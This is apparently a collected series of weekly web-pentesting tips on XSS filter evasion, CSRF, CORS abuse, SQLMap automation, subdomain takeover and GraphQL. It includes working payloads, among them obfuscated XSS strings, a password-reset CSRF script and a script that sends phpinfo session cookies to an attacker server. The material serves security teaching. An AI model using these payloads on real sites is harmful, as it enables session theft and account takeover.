# Web App Hacking Tips & Tricks

https\://www\.linkedin.com/in/jakedmurphy1/

Looking to identify web application security gaps through emulated, real-world attacks? You've come to the right place! On this site I share some modern, practical, and easy-to-implement tips for web pentesting...

These bite-sized tips include explanations, screen shots, code, and step-by-step instructions.&#x20;

## About The Author

![](/files/NpCQIooiBXVKxnpVJMvP)

Jake is a Red Team Consultant at [Mandiant ](https://www.mandiant.com/)where he is experienced in both building and breaking web applications. He graduated from Grove City College after studying Computer Information Systems and has worked in the past with several Pittsburgh-based companies like Carnegie Mellon’s Computer Emergency Response Team (CERT).

Jake has extensive experience with bug bounties and the Bugcrowd platform, totaling over 70 discovered vulnerabilities in Fortune 500 companies in the banking, retail, and government industries. He was featured twice on local Pittsburgh news channels, once for developing a smart alarm clock app and again for a web application that helped people decide where to eat during the COVID-19 pandemic.

In the last several years Jake has cofounded FTW Sites, a company that provides websites for Chick-fil-A franchises across the country. He currently has 120 Chick-fil-A clients, and they are continuing to grow at a rapid pace. He believes the most satisfying part of running the company is the free Chick-fil-A sandwiches.

### Overview

This website was created to store the Web App Hacking posts I made on LinkedIn throughout the year of 2022. Each week I posted a new tip of something I learned in the Offensive Security field. Hope you enjoy!

If you would like to download a PDF of these articles in one place, click [here](https://echeloncyber.com/web-app-hacking-tips-and-tricks-a-compendium)


# Week 1 - XSS Filter Evasion

## Advanced XSS using \<embed>

To start off the new year, I’ll be kicking off a series of posts containing Web App Hacking Tips & Tricks. This week’s tip is related to Advanced Cross-Site Scripting:\
&#x20;\
Several times in the past, I’ve found myself testing a website that allows HTML Injection, but I can’t seem to get a working XSS payload or pop an alert box. Typically, the application has some kind of WAF running that blocks specific HTML tags (script, img, a) or more commonly HTML events (onclick, onerror, onpageshow). In these situations, I’ve found the below payload successfully executes:\
&#x20;\
`<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>`\
&#x20;\
The above base64 decodes to:

\
`<svg xmlns:svg="`[`http://www.w3.org/2000/svg`](http://www.w3.org/2000/svg)`" xmlns="`[`http://www.w3.org/2000/svg`](http://www.w3.org/2000/svg)`" xmlns:xlink="`[`https://lnkd.in/ePggbfMN`](https://lnkd.in/ePggbfMN)`" version="1.0" x="0" y="0" width="194" height="200" id="xss"><script type="text/ecmascript">alert("XSS");</script></svg>`\
&#x20;

{% hint style="info" %}
Because this payload doesn’t contain HTML events and uses the uncommon \<embed> tag, it is a useful addition to your pentesting notes
{% endhint %}


# Week 2 - CSRF Token Bypass

## CSRF Token Bypass Using BurpSuite

Continuing the Web App Hacking Tips & Tricks series, this week’s tip focuses on bypassing CSRF tokens.

Have you ever found a web endpoint that’s vulnerable to SQL injection, but uses a CSRF token that makes SQLMap automation difficult?

Boy, have we got a show for you!

It turns out you can set a macro in BurpSuite to retrieve a valid CSRF token, and instantly add it to the request being intercepted through the proxy. To do so, follow the below steps:

1. ```
    Launch Burp and Intercept the HTTP Request of the page containing the CSRF token.
   ```
2. ```
    Go to Project Options -> Sessions -> Macros and click the Add button
   ```
3. ```
    Select the Intercepted HTTP Request and press OK
   ```
4. ```
    Select ‘Configure item’ and press Add
   ```
5. ```
    Scroll through the HTTP Response and select the CSRF token (see below screenshot). Don’t forget to name the Parameter based upon where the CSRF token is being used (GET or POST).
   ```
6. ```
    Press Ok to create the macro
   ```
7. ```
    Scroll up to ‘Session Handling Rules’ and press Add
   ```
8. ```
    In ‘Rule Actions’ press Add and ‘Run a macro’. Select your macro.
   ```
9. ```
    Move over to the Scope tab and add the target domain in the URL Scope. Don’t Forget to Check the ‘Proxy (use with caution)’ box at the top.
   ```
10. Press OK and you’re done!

Now to put your Macro to work, use the following SQLMap syntax to proxy traffic through Burp:

sqlmap -u --proxy=”[http://localhost:8080”](https://www.webhackingtips.com/weekly-tips/http:/localhost:8080”)

That’s it!! Now CSRF tokens will no longer prevent you from dumping a DB.\
&#x20;

![](/files/8Oh2EGTblsD6IlSHA2tJ)

![](/files/cnCLD9WAG0mCjOQrPlKF)

![](/files/WZnCEKbfTjxlT50PxCRk)


# Week 3 - CORS Exploitation

## Exploiting CORS Misconfigurations

In week 3 of the Web App Hacking Tips & Tricks series, we will be covering CORS misconfigurations.\
&#x20;\
When I first became a tester, this topic caused me a good bit of confusion. It took me some time to find a clear and concise summary of how this attack (and CORS in general) worked. Here is my attempt at a clean and simple, Step-By-Step overview:\
&#x20;\
1\.      Specify a domain in the ‘Origin’ header of an HTTP Request\
\
2\.      Check if the response contains ‘Access-control-allow-origin: domain’ or ‘Access-control-allow-origin: null’\
\
\---> This means we can access HTTP Responses from our attacker site. The ‘null’ origin means any site can access responses\
\
3\.      Check if the response contains the ‘Access-control-allow-credentials: true’ header\
\
\---> This means we can send cookies with an HTTP Request, allowing us to access authenticated pages as a user\
&#x20;\
If the above steps are true, then the application has a CORS misconfiguration and can be exploited through a XSS attack using XMLHTTPRequest() like below:\
&#x20;\
`<script>`

`var xhr = new XMLHttpRequest();`\
`xhr.withCredentials = true;`\
`xhr.onreadystatechange = function() {`\
&#x20;  `if (xhr.readyState == XMLHttpRequest.DONE) {`\
&#x20;      `alert(xhr.responseText);`\
&#x20;  `}`\
`}`\
[`xhr.open`](http://xhr.open)`('GET', 'http://domain', true);`\
`xhr.send(null);`

`</script>`\
&#x20;\
An attacker can host this JavaScript payload on their domain, convince a user to click on their site, execute an HTTP request on their behalf, and then read the response.\
&#x20;

{% hint style="info" %}
It is important to note that if the vulnerable site uses a wildcard (‘Access-control-allow-origin: \*’) and allows credentials (Access-control-allow-credentials: true), it is NOT vulnerable. CORS blocks this by default, and will not send cookies with the request.
{% endhint %}

![](/files/DIbIO3K7ZYmeNnZlQ9HT)

![](/files/MVPpLnDWMPDgrT7bkCPs)


# Week 4 - Finding XSS

## Finding XSS Vulnerabilities

It’s officially week 4 of the Web App hacking series! Today’s tip involves finding Cross-Site Scripting vulnerabilities.\
&#x20;\
Many popular Automated Scanners inject payloads similar to `“><script>alert(“XSS”)</script>` throughout the application. This will turn up some low hanging fruit but will sometimes miss Stored XSS vulns. Applications often block common payloads containing `<script>` tags, so the JavaScript will never make it to the front end to be executed, and you’ll never know the target field is vulnerable.\
&#x20;\
I always recommend placing payloads like `”><b>testing</b>` or `“><input>test<input>` throughout the application, since they are rarely blocked by WAF’s. This way, if the application is vulnerable to XSS, you will see either bolded text (`<b>`) or an input box (`<input>`). Then you can locate the vulnerable field and enter more obfuscated payloads.\
&#x20;


# Week 5 - CSRF Explanation

## What is a CSRF attack?

It’s week 5 of the Web App Hacking series! Due to popular demand from my last post, this week I will be covering Cross-Site Request Forgery (CSRF) attacks.\
&#x20;\
The purpose of a CSRF attack is to cause a Server-Side state change within the application. In other words, we want to change data being stored by the website. For example, if LinkedIn was vulnerable to CSRF attacks, you would be able to create a post on behalf of another user (or I could force you to like this post :p).\
&#x20;\
Now that you understand the concept, lets dig into how it works. Let’s say an attacker hosts some HTML code and tricks a user into visiting their website. The below payload shows a basic CSRF attack through a GET request to reset a user’s password within the target\_url website:\
&#x20;\
`<img src=”http:/target_url/reset_account_password.php?new_password=test&confirm_new_password=test”/>`\
&#x20;\
The above payload will issue a GET request to target\_url on behalf of the user whose browser it rendered in. Since the user is already logged in at target\_url, it will be treated as an authenticated request (since browser requests automatically include all cookies) and will reset the victim user’s password to ‘test’. If the vulnerable password reset feature instead uses a POST request, we can use the following payload:\
&#x20;\
`<script>`\
&#x20;             `//Declare the target URL and POST data`\
&#x20;             `var url = "http:/target_url/reset_account_password.php";`\
&#x20;             `var params = "new_password=test&confirm_new_password=test";`\
&#x20;             \
&#x20;             `//Create the request`\
&#x20;             `var CSRF = new XMLHttpRequest();`\
&#x20;             \
&#x20;             `//Set request options`\
&#x20;             `CSRF.open("POST", url, true);`\
&#x20;             `//Tell browser to include cookies`\
&#x20;             `CSRF.withCredentials = 'true';`\
&#x20;            `CSRF.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");`\
&#x20;             \
&#x20;             `//Send the request`\
&#x20;             `CSRF.send(params);`\
&#x20;             \
`</script>`\ <br>

{% hint style="info" %}
It's interesting to note that if the application uses an ‘Authorization’ header to authenticate rather than a cookie, it is not vulnerable to CSRF attacks. This is because the browser cannot set an Authorization token.
{% endhint %}

![](/files/3fqLmvgNGAYyf1lXsXZS)


# Week 6 - XSS Types

## Types of Cross Site Scripting

I have a little something to make your day better: a summary of the types of Cross-Site Scripting!\
&#x20;\
**Reflected XSS:**\
Occurs when an attacker can inject JavaScript code into the GET/POST parameters of an HTTP Request, which will then be rendered (by the server) within the page’s source code. To use this maliciously an attacker must trick a user into running the specific payload within the vulnerable parameter (Example: localhost/index.php?vulnerable=”>\<script>alert(1)\</script>)\
\
**Stored XSS:**\
When an attacker’s JavaScript payload is stored within the server or database (Example: submitting a comment on an Amazon product). Then, when this payload is called by the server and placed on the page, it executes as JavaScript. This is the most severe form of [#XSS](https://www.linkedin.com/feed/hashtag/?keywords=xss\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6899007974216396800), since the payload will run every time the page is loaded, meaning an attacker will not have to trick a user into loading a specific request with the vulnerable parameter. The server takes care of it for us.\
\
**DOM-Based XSS:**\
Occurs when an attacker’s JavaScript payload never reaches the server and is instead included within an application’s source code by existing JavaScript on the page. Usually, vulnerable JavaScript within a website will pull our payload from a GET parameter or hash (localhost/index.php#this-is-a-hash) and place it directly onto the Document Object Model, where it is then executed.\
\
**Self XSS:**\
A user is tricked into copying and pasting the attacker’s payload into their browser’s developer console. This is commonly used by scammers and requires an unknowing user’s full compliance.\
&#x20;

![SRC: https://www.researchgate.net/figure/Example-code-and-XSS-attacks\_tbl1\_232644887](/files/MOXkXZL8vFGgSbUtyAnu)


# Week 7 - Advanced SQLMap

## Custom SQLMap Payloads

It’s Week 7 of our Web App Hacking Tips & Tricks Series! Today we’ll be covering one of my favorite topics, Advanced SQL Injection.\
&#x20;\
Have you ever been testing an application that appears vulnerable to SQL Injection, but you were unable to automate using SQLMap? This has happened to me in the past and is a major pain-in-the-butt. I used to add a “*tamper=space2comment*” and hope for the best! Nowadays I have a much better approach.\
&#x20;\
To start off, I always recommend manually finding a working Proof-of-Concept (POC) with Burp Suite (if you want a future post on manual SQL Injection tips, let me know in the comments). From here, you can add your own custom payload into SQLMap. The folder containing all the payload files can be found here:\
&#x20;\
`/usr/share/sqlmap/data/xml/payloads/`\
&#x20;\
First, add the payload in the attached photo below to your ‘boolean\_blind.xml’ payload file. Since SQLMap can be finnicky, I’ve found that simplifying the custom payload to only its inference is the most reliable method. Then, use the flags ‘prefix’ and ‘suffix’ to construct the rest of the Proof-of-Concept query you’ve found earlier. For example, if your working POC looks like:\
&#x20;\
`test.php?id=1']+OR+[1=1]);/*`\
&#x20;\
Then to exploit with your custom payload, your SQLMap command would be:\
&#x20;\
`sqlmap -u "<target-url>" --dbs --prefix="']+OR+[" --suffix="]);/*"`\
&#x20;\
If all goes well, you should have successfully automated SQL Injection using your custom payload!\
&#x20;

{% hint style="info" %}
If you find you’re still having trouble or are dealing with connection errors, just proxy through Burp Suite using the ‘proxy’ flag. I’ve found this alone solves a good deal of connection errors. Try the ‘force-ssl’ flag too.
{% endhint %}

![](/files/esbhrgMvBoaDBQu9cUvJ)

![](/files/apmM9IEDdlA0iLjB2E1l)


# Week 8 - Stealing HttpOnly Cookies from PHPINFO

## Steal HttpOnly Cookies Through PHPINFO

Have you ever been (\*legally) hacking a web application and found the session cookie to be marked as ‘HttpOnly’? Well with a little bit of luck and some JavaScript, you can still access a user’s session! In week 8 of the Website Hacking Tips + Tricks series, I’ll be showing you how.\
&#x20;\
HttpOnly is a flag included in the Set-Cookie HTTP response header and means the cookie is unable to be read/accessed by client-side JavaScript. So Cross-Site Scripting payloads cannot retrieve a user’s session :/\
&#x20;\
However, many PHP applications include a PHPINFO file containing information regarding the site’s configuration. Most importantly, the PHPINFO file lists EVERY cookie for the user’s current session, even the ones marked as ‘HttpOnly’.\
&#x20;\
We can create a Cross-Site Scripting payload to retrieve the source code of the PHPINFO file and send it to our server. Then we can view the cookies and gain access to the user’s session! This can be accomplished with the below JavaScript:\
&#x20;\
`<script>`\
`var req = new XMLHttpRequest();`\
`req.onload = reqListener;`\
`var url = ‘<target-url>/phpinfo.php';`\
`req.withCredentials = true;`\
`req.open('GET', url, false);`\
`req.send();`\
&#x20;\
`function reqListener() {`\
`var req2 = new XMLHttpRequest();`\
`const sess = this.responseText.substring(this.responseText.indexOf('HTTP_COOKIE') + 1 );`\
`req2.open('GET', '<attacker-server>/?data=' + btoa(sess), false);`\
`req2.send()`\
`};`\
`</script>`\
&#x20;\
All you need to specify is the URL containing the PHPINFO file (\<target-url>), and the server listening for a callback (\<attacker-server>).

![](/files/nsS09mPARmMxTccO2X1t)

![](/files/Onuo4s1acXWRjWf4rDWg)

![SRC: https://aleksikistauri.medium.com/bypassing-httponly-with-phpinfo-file-4e5a8b17129b](/files/NAZxOHLjYrT4kpqcliT8)


# Week 9 - SQLMap Tamper Scripts

## SQLMap Custom Tamper Scripts

Well, it’s Monday which means another Web App Hacking Tip! In week 9 we’ll be covering custom SQLMap Tamper scripts.\
&#x20;\
SQL Injection is a common vulnerability found in web applications and depending on the app, exploitation usually means bypassing some kind of Web Application Firewall (WAF). SQLMap has default tamper scripts that are useful (space2comment, charencode, randomcase), but they don’t always get the job done. I’ve found the most useful solution is to just write your own!\
&#x20;\
To start off, I recommend proxying your SQLMap traffic through Burp Suite (see below images). This will allow you to see exactly what the WAF is blocking, and how the app responds. From there, you can craft your script to replace any characters/words that trigger the Firewall.\
&#x20;\
In the below images, the tamper script replaces the ‘=’ sign with ‘LIKE’, and the ‘AND’ operator with ‘&&’.  This tip pairs extremely well with Week 7’s Custom Payload creation, so I highly recommend checking that out if you enjoy SQL Injections!\
&#x20;

![](/files/L1uZNyWP3wpBwDszODgl)

![](/files/gO74VBYPVcpZw30WGLJB)


# Week 10 - XSS Obfuscated Payloads

## Obfuscated XSS Payloads

It’s week 10 of the Web Hacking Series, and today we’ll be obfuscating Cross-Site Scripting payloads.  Have you encountered a Web Application Firewall (WAF) that prevented you from executing JavaScript? Did you know it’s possible to execute JavaScript code without LETTERS or NUMBERS? See below:\
&#x20;\
``[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```//Function(alert(1))``\
&#x20;\
The above payload works by using JavaScript’s built-in objects, methods, and values as a starting base. It's then possible to construct words like ‘alert’ by extracting each letter from our already existing base (the letter ‘a’ in alert can be taken from ‘False’). These base objects, methods, and values can be represented non-alphanumerically:\
&#x20;\
!\[] => True\
!!\[] => False\
\[] => Array\
+\[] => Number\
&#x20;\
And as displayed in the screenshot below, you can finally pop that alert box!

![SRC: https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis](/files/6yi1UTOIH4H83LsSvhqZ)


# Week 11 - XS-Search: Cross-Origin Enumeration

## Abusing Chrome's Deprecated XS-Auditor

It’s hard to believe we’re already 11 weeks into the Web [#Hacking](https://www.linkedin.com/feed/hashtag/?keywords=hacking\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6911681650741407744) series! Stay tuned for a PDF copy of my first 10 week’s tips all in one place. For this week, we’ll be covering the XS-Search technique and how it can be used to abuse Chrome’s deprecated XSS-Auditor. The vulnerability is centered around the following server response header:\
&#x20;\
`X-XSS-Protection: 1; mode=block`\
&#x20;\
If this header is enabled on your server, it will prevent responses containing XSS payloads from loading properly. Instead, the page will display an error like “This page isn’t working… ERR\_BLOCKED\_BY\_XSS\_AUDITOR”.\
&#x20;\
Now imagine we have an attacker site hosted at {{attacker-url}}. We are targeting a vulnerable site existing at {{vulnerable-site}}. The vulnerable site has a page called ‘search.php’ that takes user input through a GET parameter and searches for the existence of a file. If the search returns a file, the page displays a message “Your file was found!” and includes the following JavaScript: `<script>console.log(“File found”)</script>`. If the search does not return a file, the page just displays “No file found.”\
&#x20;\
A key thing to note from the paragraph above is the ‘search.php’ page includes JavaScript when a file is found. We can specify this exact JavaScript in a separate GET parameter and trick the XSS-Auditor into thinking we found a Cross-Site Scripting, since JS specified in the request parameter matches JS in the page.\
&#x20;\
Now within our {{attacker-url}}, we embed an \<iframe> with the source pointed to {{vulnerable-site}}/search.php?q=abc\&xss=\<script>console.log(“File found”)\</script>[#leak](https://www.linkedin.com/feed/hashtag/?keywords=leak\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6911681650741407744)\
&#x20;\
When a vulnerable user visits {{attacker-url}}, the \<iframe> is rendered. If the \<iframe> loads normally (meaning the XSS-Auditor was not triggered) then we know we received the “No file found” message. But if the XSS-Auditor was triggered, then the \<iframe> will issue an onload event/error, letting us know the JavaScript was included in the page and a file does exist with the title “abc”.\
&#x20;\
Using this technique, we can guess a filename or CTF flag character by character, simply by taking advantage of the deprecated XSS-Auditor. It is important to note that the fragment at the end of the \<iframe> URL ([#leak](https://www.linkedin.com/feed/hashtag/?keywords=leak\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6911681650741407744)) must be changed to a different string for the frame to load a second time, which allows the error to occur.\
&#x20;\
Special thanks to [Nick Smith](https://www.linkedin.com/in/ACoAACnVDR0BiQ_xJVI7pSsuXDNBTpl1SSAa8xA) for recommending this vulnerability. I had never seen it before and really enjoyed studying it. Please check out the linked YouTube video in the comments for a much more practical example. My attempt here was to make this easy to understand, as many online resources make XS-Search difficult to learn.

![](/files/pMFwd5KxOos3SyPEsFxt)

![SRC: https://www.youtube.com/watch?v=HcrQy0C-hEA](/files/rkjGfV3pSsI6YlD0fY8O)


# Week 12 - Subdomain Takeovers

## Finding Subdomain Takeovers

In week 12 of the Web Hacking series, we’ll be mixing it up a little and covering a DNS-related issue. Are you part of an organization that has a large web presence, often involving blogs, repositories, and shops?\
&#x20;\
Depending on your DNS settings, you may be vulnerable to Subdomain Takeover. Subdomain Takeover occurs when an attacker can completely own and write content to one of your organization’s subdomains. This can be accomplished because admins often remove a blog/repository/shop from a subdomain but forget to also remove the DNS CNAME record, which the service uses to verify the subdomain. So how can we exploit it?\
&#x20;\
My favorite way to approach Subdomain Takeover is to start with enumeration. I use tools like Sublist3r, Knockpy, and VirusTotal to thoroughly enumerate existing subdomains. I then determine if the subdomains return a valid response, or just trigger a timeout/gateway error.\
&#x20;\
Assuming you receive a valid response, the next step is to assess what that response looks like and if it’s vulnerable. Especially focus on if the response appears to be issued from a popular service (Shopify, Github, Wordpress, etc). The best way to accomplish this is to consult EdOverflow’s GitHub repo linked in the comments, as it shows you what services are vulnerable to Subdomain Takeover and which ones are not. It also links documentation and discussion on each service for further study.\
&#x20;\
If a site appears to be vulnerable, all you have to do is register an account on the service the domain points to (Shopify, Github, Wordpress, etc), and claim the subdomain. Since the subdomain is already pointing to their service, no further verification is required. You can completely own it!\
&#x20;\
Now there are many potential attack vectors (phishing) with owning a victim subdomain, but an interesting one is using it to bypass CORS! That’s right, in most cases you won’t need to worry about finding a CORS misconfiguration since subdomains are often within the allowed origin. Check out my previous week’s posts for an in-depth discussion of CORS exploitation.<br>

![](/files/ErwPME243OBDbM9pbhMJ)

![](/files/bS7jCexLmgK8UrqmX9Co)


# Week 13 - XSS Keylogger

## Using XSS to Create a Keylogger

It’s already week 13 of the Web Hacking series, and today I’ll show you how to turn a simple Cross-Site Scripting vulnerability into a custom Keylogger!\
&#x20;\
Many people in the dev/sec industry see XSS as nothing more than an alert box. However, it can be used for so much more and can seriously impact the integrity of your application and safety of your user base. In the below screenshots, you can see how I used 14 lines of JavaScript to steal a user’s keystrokes.\
&#x20;\
In a real-world scenario, an attacker can inject this JavaScript into a page (using a Stored or Reflected XSS vulnerability) and steal any keystrokes the victim enters. Passwords, credit card numbers, social security numbers, etc could all be compromised due to a vulnerability that so many people reduce to just an alert box…\
&#x20;\
Stay tuned for more tips on how the impact of XSS can be escalated!\
&#x20;

![](/files/ZG6yQdQV5Ma5rjSLWWFP)

![SRC: https://github.com/JohnHoder/Javascript-Keylogger/blob/master/keylogger.js](/files/RVG3V3vWftnBA91vMbCN)


# Week 14 - Algolia API Keys

## Algolia API Misconfiguration

Today’s week 14 tip is centered around Algolia API hacking. In doing some research this week, I came across this vulnerability which I was previously unaware of:

Algolia API’s are basic REST API’s that use an AppID and API Key to define a client. Both are meant to be public and are visible to any attacker using a proxy tool like Burp Suite. As an attacker, you can directly retrieve the permissions for an API key using the below link:

**`APPID`**`-dsn.algolia-net/1/keys/`**`APIKEY`**`?x-algolia-application-id=`**`APPID`**`&x-algolia-api-key=`**`APIKEY`**

After filling in your clients **APPID** and **APIKEY**, this link will spit out the key’s permissions in JSON. Often, the keys will be misconfigured. If they are setup correctly, they should only have the ‘search’ permission. MANY times, they have other permissions like:

1. listIndexes -> Get list of all existing indexes -> Information Disclosure&#x20;
2. editSettings -> Update Index settings -> Allows for Stored XSS&#x20;
3. addObject -> Add or update records -> Could be used for defacement
4. logs -> Query the logs -> Information disclosure

As you can see, the impact of misconfigured Algolia API keys can be huge. The ‘listIndexes’ permission often results in the disclosure of internal company data stored within an Algolia index. The ‘editSettings’ permission is the worst case, as it allows an attacker to specify a JavaScript payload that is executed every time a search is called.

![SRC: https://www.secjuice.com/api-misconfiguration-data-breach/](/files/OFaeN6d9c0GYP0KkVGyw)


# Week 15 - GraphQL Introspection

## GraphQL Introspection

&#x20;\
This week’s post covers GraphQL hacking. The first thing I check with GraphQL endpoints is if Introspection is enabled. Introspection allows you to map out the contents of the GraphQL API schema. In plain English, this means you can see all the different queries and mutations the endpoint allows along with what data you can retrieve with those queries. To issue an introspection query, send the below POST data in an HTTP request to the ‘/graphql’ endpoint:\
&#x20;\
`{“query”: “query introspection_query{ {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}}”}`\
&#x20;\
Then copy the server response and paste it into GraphQL Voyager (if you copy straight from BurpSuite, don’t forget to remove the server response headers). This will allow you to graphically display the entire API schema, assuming the endpoint has Introspection enabled. If it's not enabled, you'll receive an access error.\
&#x20;\
Now assuming you have successfully mapped out the schema in GraphQL Voyager, you’re probably thinking… now what? I remember my first time looking at the results and having no idea what to do with them. So assuming the below photo is our GraphQL Voyager output, you can retrieve info by using the following example POST data:\
&#x20;\
`{“query”: “query random_name{ film { title   releaseDate    director  characterConnection { characterID characterName  }   }  }”}`\
&#x20;\
You can see we work from the root query ‘film’, then specify either a variable existing within the ‘Film’ object or a separate object to access (which in this case is ‘characterConnection’). Each separate object contains other variables. So you can play around with starting from the root query and digging into variables existing within connected objects down the line.\
&#x20;

{% hint style="info" %}
If GraphQL Introspection is disabled, use clairvoyance to recreate it through bruteforcing (the hacking tool that is, not the supernatural power of seeing the future :p)
{% endhint %}

![SRC: https://infosecwriteups.com/graphql-voyager-as-a-tool-for-security-testing-86d3c634bcd9](/files/dwJepqAlVqLTfjcPHpua)


# Week 16 - Naming BurpSuite Repeater Tabs

## Name Your Tabs in BurpSuite's Repeater

It's week 16 of the series, and I've got a short tip for today...

Did you know that when using Burp Suite's Repeater, you can name the tabs? Just double click the number and type whatever name you want. I've found this super helpful when attempting to exploit several vulns at the same time.

![](/files/BXGhCSwufT5T0fks8FFn)


# Week 17 - GoBuster Tips

## GoBuster: Enumeration Tips

It’s week 17 of the Web Hacking Series, and it’s on a Tuesday cause May is off to a busy start over at [Echelon Risk + Cyber](https://www.linkedin.com/company/echelon-risk-cyber/)!\
&#x20;\
If you are involved in app sec, you probably have a preference between DirBuster vs. GoBuster vs. Dirb. My personal preference (and the correct answer :p) is GoBuster!\
&#x20;\
One of my favorite things about GoBuster is how you can refine the scanning options. Here are some I find most useful:

* -s "204,301,302,307,401,403" ==> Only show results with these status codes
* -b "302" ==> Exclude 302 status codes
* \--exclude-length 3571 ==> Exclude server responses of length 3571
* -k ==> Disable HTTPS verification\
  &#x20;

The –exclude-length is particularly useful for dealing with a 404 error that appears to be a legitimate (200 OK) page. Know any other GoBuster tips & tricks? Share them in the comments below.

![](/files/1iUBNjewqTp9XNY292PC)


# Week 18 - Burp Request to Python Script

## Converting a Burp Request to Python Script

Welcome to week 18... I’m going to try to make it the whole year! If you have any interesting web hacking tips, message me and I would love to learn from you (and credit you in a post)!\
&#x20;\
I learned this week's tip from my friend and colleague [Steeven Rodríguez](https://www.linkedin.com/in/ACoAACcBVHcBfkU1VVs7cBHNZpAfspAUubaOl8I). Did you know that when using Burp Suite’s repeater, you can export a request as a curl command?\
&#x20;\
Then to make it even better, you can use CurlConverter (linked in comments) to make a Python script. So when you’re on an engagement and need to play around with a request, you can have a script up and running in no time!

![](/files/LoAMuyNQCtIe4MNiJIhg)

![](/files/va5dTiyiYZPz9q3KhZT3)


# Week 19 - Customizing Nikto Scans

## Customize Your Nikto Scan Configuration

Happy week 19 of the [#WebHackingSeries](https://www.linkedin.com/feed/hashtag/?keywords=webhackingseries\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6931946625728753664). Have you ever used Nikto to scan a website and received this dreaded error?\
&#x20;\
ERROR: Error limit (20) reached for host, giving up.\
&#x20;\
I used to see this all the time when I did bug bounties. What I found is that you can edit the Nikto Configuration file to increase the error limit! The config file is located at:\
&#x20;\
`/var/lib/nikto/nikto.conf.default`\
&#x20;\
